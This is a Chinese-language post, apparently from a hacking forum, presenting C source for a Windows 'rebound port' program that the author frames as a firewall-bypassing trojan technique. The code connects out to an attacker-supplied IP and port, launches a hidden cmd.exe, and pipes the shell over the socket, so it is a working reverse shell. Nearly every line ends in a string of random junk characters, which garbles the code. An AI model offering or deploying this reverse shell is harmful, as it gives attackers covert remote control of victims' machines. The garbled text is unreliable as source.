Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 B8T\s)fxnX  
GIT#<+"  
/* ============================== m@jge)O&D  
Rebound port in Windows NT n9%]-s\Hn  
By wind,2006/7 _qn?2u3mnR  
===============================*/ /b5>Qp  
#include h >-'-Hx+  
#include w{!(r  
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#pragma comment(lib,"wsock32.lib") i?>tgmu.  
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void OutputShell(); 3`*Kav>"  
SOCKET sClient; ;HNq>/{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a 7#J2r  
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void main(int argc,char **argv) 4
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{ Ipe n  
WSADATA stWsaData; Y9Z]i$qS&k  
int nRet; "Y;}GlE  
SOCKADDR_IN stSaiClient,stSaiServer; `zA#z />  
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if(argc != 3) Zd!U')5/  
{ aJhxc<"e  
printf("Useage:\n\rRebound DestIP DestPort\n"); (YPi&w~S  
return; jq-l5})h  
} /vxm"CJR  
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WSAStartup(MAKEWORD(2,2),&stWsaData); wi_

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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ),(V6@Z?  
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stSaiClient.sin_family = AF_INET; ",yc0 2<  
stSaiClient.sin_port = htons(0); :nA.j"@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cA)[XpQ:+W  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jQ\zGJ3  
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printf("Bind Socket Failed!\n"); cl@
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return; S<`I Jpkv  
} =Yz'D|=t  
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stSaiServer.sin_family = AF_INET; ?QZ"JX])  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %}-?bHB1c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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K2{aNvR)t  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -' g*^  
{ bq>_qpr  
printf("Connect Error!"); z^<L(/rg9"  
return; bD^b  
} +Q$h ]^>~  
OutputShell(); #bX9Tu0  
} 8NBT|N~N  
2ZcKK8X;7  
void OutputShell() 3"N)xO-  
{ ?e[lr>-  
char szBuff[1024]; En{`@JsM  
SECURITY_ATTRIBUTES stSecurityAttributes; I,yC D7l_  
OSVERSIONINFO stOsversionInfo; Ep9W-n?}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T*g:# ^4  
STARTUPINFO stStartupInfo; Dre2
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char *szShell; aJ Z"D8C  
PROCESS_INFORMATION stProcessInformation; V!v:]E  
unsigned long lBytesRead; [NMVoBvG  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zk-.u}RBFG  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %yBB?cp+_  
stSecurityAttributes.lpSecurityDescriptor = 0; AIMSX]m  
stSecurityAttributes.bInheritHandle = TRUE; I9h ?;(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CI
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %\]*OZ7  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *na?n2Yzt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {9UEq0  
stStartupInfo.wShowWindow = SW_HIDE; 8NyJc"T<.  
stStartupInfo.hStdInput = hReadPipe; 1`ayc|9BR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hxQqa 0B  
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GetVersionEx(&stOsversionInfo); !*RqCS,  
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switch(stOsversionInfo.dwPlatformId) FEVEp  
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case 1: I(S`j[U  
szShell = "command.com"; AGLscf.  
break; 'Ut7{rZ5  
default: 6DH~dL_",%  
szShell = "cmd.exe"; dFKM 8_jH  
break; <HbcNE~  
} s"t$0cH9  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dCRyOid$  
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send(sClient,szMsg,77,0); YW7b)uYf  
while(1) #B4%|v;`E?  
{ :j
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '&\kxNglJ  
if(lBytesRead) iof-7{+3_  
{ PYGRsrcFd#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l<A|d{"]  
send(sClient,szBuff,lBytesRead,0); D8$G`~hD  
} rx]  @A  
else .ev?"!Vpp9  
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lBytesRead=recv(sClient,szBuff,1024,0); m6w].-D8  
if(lBytesRead<=0) break; s,]z[qB#$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #`)(e JF  
} , GP?amh  
} h2XfC.f  

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return; d8c=L8~jt  
}